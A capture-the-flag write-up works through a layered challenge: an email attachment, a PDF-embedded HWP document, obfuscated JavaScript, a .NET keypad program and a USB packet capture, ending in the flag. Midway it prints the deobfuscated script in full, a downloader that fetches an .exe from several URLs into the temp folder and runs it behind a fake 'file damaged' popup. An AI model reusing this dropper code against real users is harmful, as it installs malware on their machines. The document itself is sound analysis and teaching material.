For this challenge we’re provided a e-mail MSG file called “Secret Beach Party Invite.msg”.

Opening it up, we can see a file attached to the e-mail and some text.

The “secret.invite.pdf.7z” is password protected.

Using our trusty friend, Google Translate, we can see this is Japanese.

Nothing stands out here as being the password so we can look at the header and properties of the e-mail to see what we find.

Within the HTML of the e-mail we can see a URL that is hidden within white text.

Going to the URL “” displays some scrambled text that keeps changing with a displayed message.

Looking at the source code on the website we can see some ASCII art at the bottom of the page. Specifically, it’s a picture of Bender from Futurama holding up a message box with base-64 encoded data inside.

The base-64 decodes to the following message, which contains our password for the 7z file in the e-mail.

Great start in finding this clue.

We hope that you like hunting.

As there are several things for you to hunt for.

The hint to login is:


Inside the 7z file is a PDF called “secret.invite.pdf”. When opening it, we’re prompted with a warning that the file “secret.invite.hwp” may contain programs, macros, of viruses. At minimum, we know we’ll be dealing with an HWP file too.

Using we can see that Object 12 holds the name “secret.invite.hwp” with a reference to Object 5. This object has the file specification details and references Object 4. This next object contains the actual HWP file, which we can dump with the tool.

Looking at the HWP file with Microsoft’s HWP Document Converter, we’re greeted with another message in Japanese.

Using, we can see there is another OLE stream in the BinData folder that is 59,814 bytes in size.

To analyze the next OLE stream, I loaded up Cerbero Profiler and deflated OLE stream with the zlib unpacker. This revealed a piece of JavaScript called “troll.js”.

After copying out the JavaScript, we’re left with an extremely long (3,418 lines) script that is heavily obfuscated. At the very bottom of the script we can see a “” ActiveX Object, so it’s safe to assume that after this script is processed, it will run a command.

Given this, I opted to debug the script instead of worrying too much about the obfuscation. To do this, I wrapped the script into some HTML and loaded it up with Chrome and used the native debugger there.

Most of the code in this script isn’t used and the rest just slowly builds up the necessary strings by doing simple replace functions to strip out unwanted characters. The strings are built letter by letter and eventually get passed to functions at the end for evaluation.

In the above image, you can see the new function that is created and executed. Below is the fully content.

(function() {

function getDataFromUrl(url, callback) {try {var xmlHttp = new
ActiveXObject("MSXML2.XMLHTTP");"GET", url, false);
xmlHttp.send(); if (xmlHttp.status == 200) {return
callback(xmlHttp.ResponseBody, false); } else {return callback(null,
true); } } catch (error) {return callback(null, true); } } function
getData(callback) {try
{getDataFromUrl("http://r.u.kidding.me69/DAB58154yc/", function(result,
error) {if ( ! error) {return callback(result, false); } else
function(result, error) {if ( ! error) {return callback(result, false);
} else {getDataFromUrl("http://omgwtfbbq.no69/VqCj49674sPnb/",
function(result, error) {if ( ! error) {return callback(result, false);
} else {getDataFromUrl("http://nono.thiscannot.be69/Isb50659TZdS/",
function(result, error) {if ( ! error) {return callback(result, false);
} else {getDataFromUrl("",
function(result, error) {if ( ! error) {return callback(result, false);
} else {return callback(null, true); } }); } }); } }); } }); } }); }
catch (error) {return callback(null, true); } } function
getTempFilePath() {try { var fs = new
ActiveXObject("Scripting.FileSystemObject"); var tmpFileName = "\\\\" +
Math.random().toString(36).substr(2, 9) +".exe"; var tmpFilePath =
fs.GetSpecialFolder(2) + tmpFileName; return tmpFilePath; } catch
(error) {return false; } } function saveToTemp(data, callback) {try {var
path = getTempFilePath(); if (path) {var objStream = new
ActiveXObject("ADODB.Stream"); objStream.Open(); objStream.Type = 1;
objStream.Write(data); objStream.Position = 0;
objStream.SaveToFile(path, 2); objStream.Close(); return callback(path,
false); } else {return callback(null, true); } } catch (error) {return
callback(null, true); } } getData(function(data, error) { WshShell =
WScript.CreateObject("WScript.Shell"); Text = "There was an error
opening this document. The file is damaged and could not be repaired
(for example, it was sent as an email attachment and was not correctly
decoded)."; Title = "Not Supported File Format"; Res =
WshShell.Popup(Text, 0, Title, 0 + 64); if ( ! error) {saveToTemp(data,
function(path, error) {if ( ! error) {try {var wsh = new
ActiveXObject("WScript.Shell"); wsh.Run(path); } catch (error){} } }); }


It will try to access various URL’s but you’ll note one in there hosted on the same domain used previously in the challenge (also the fact that it says “part1.flag.exe” is a good hint!).

The rest of the JS will determine if it’s 2017 and execute some PowerShell to download another file; however, that file will not exist and will cause the JS to pop-up an error saying “Sorry, cant open document”.

Running this file, we’re presented with a GUI keypad that lets us type in some numbers to validate. Typing in a few random ones and we’re informed the length isn’t correct.

Given this is a .NET application, we can open it in dnSpy to try and figure out which value we’ll need to enter to presumably unlock our PAN key. In the below screenshot we can see that the digit length is 16, we can also see what appear to possibly be the functions that decode the key.

If we enter 16 digits, we receive the fourth MessageBox, indicating there wasn’t a match with our entry.

The three remaining ones take our input it, along with the value in “szKeyValue”, to function “Encrypt”, which is passed to function “xorToString”. The returned value is then compared against “szmidkey”, “szlowkey”, and “szhighkey” respectively.

// Token: 0x04000002 RID: 2

public static string szKeyValue = "4c61627972656e746843544632303137";

// Token: 0x04000003 RID: 3

public static string szmidkey = "F^>Y!\\"t|fQlcM-z>o@E#^

// Token: 0x04000004 RID: 4

public static string szlowkey = "RE,G pZ_QQt \\u007f:S'^BMRXoe

// Token: 0x04000005 RID: 5

public static string szhighkey =

We can also see there is a “Decrypt” function that converts a byte array back into a message it prints to the screen the correct key is input.

Given this, I simply copied out the .NET code and used rextester ( to compile it online after making a few changes to the namespace and modules. This lets me run the “Decrypt” function on the array without determining the input.

The first message is “There are images within the usb.pcap!”.

The second message is “The key to decrypt the flag is XOR 0x21”.

The third message is “You got to try harder than this!”.

In the “Resources” section of the .NET program is a 435,460 byte file called “usb”. Based on the hints, I threw it into WireShark and it indeed loaded up a USB capture.

Looking through the captured data, it looks like this is a file transfer from a USB Mass Storage device.

Looking further into the capture I started seeing larger byte-transfers and recognized familiar file headers for images; this aligns with our expectation given the clue in the .NET part of the challenge.

To extract the images, I ran foremost over the raw PCAP file and carved out all of the image files.

Unfortunately nothing really stood out in the images so I went back to the PCAP.

In packet 175 I can see file names for the images and it appears there are at least two more images than the 3 images that foremost was able to carve out.

Using foremost on a PCAP requires the file to be contained solely within one packet as the rest of the packet header information would fall between file parts and, as is the case here, likely corrupt your end product.

I set a filter in Wireshark to only display packets with a length over 5000 bytes and then I set out to manually copy the images out.

Packet 187 is the image of the “Grandma Finds the Internet” meme that foremost carved.

Packet 234 and 238 are indeed a split image, this one is the “Skeptical Third World Kid” meme.

Packet 280, which is shown in the image above, doesn’t have the same file header the others have though.

Throwing this data into 010 Editor and XOR’ing by 0x21 reveals a hidden PNG image.

Based on the previous image, there was a image called “Part2.PNG”, so it seems we’re on the right track.

Opening it up reveals the 2^nd^ half of the key…

Which means I missed the first part of the key somewhere in the challenge…d’oh!

Going back through the challenge reveals this line, which I missed on the first pass, embedded on ASCII Benders chest.

Print the values as bytes lead us to a Google shortened URL.

python -c 'print

This redirects to “” and gives us the first part of the key.

The challenge answer is “PAN{N0thing_I5_S@f3_In_Thi5_W0rld!}”.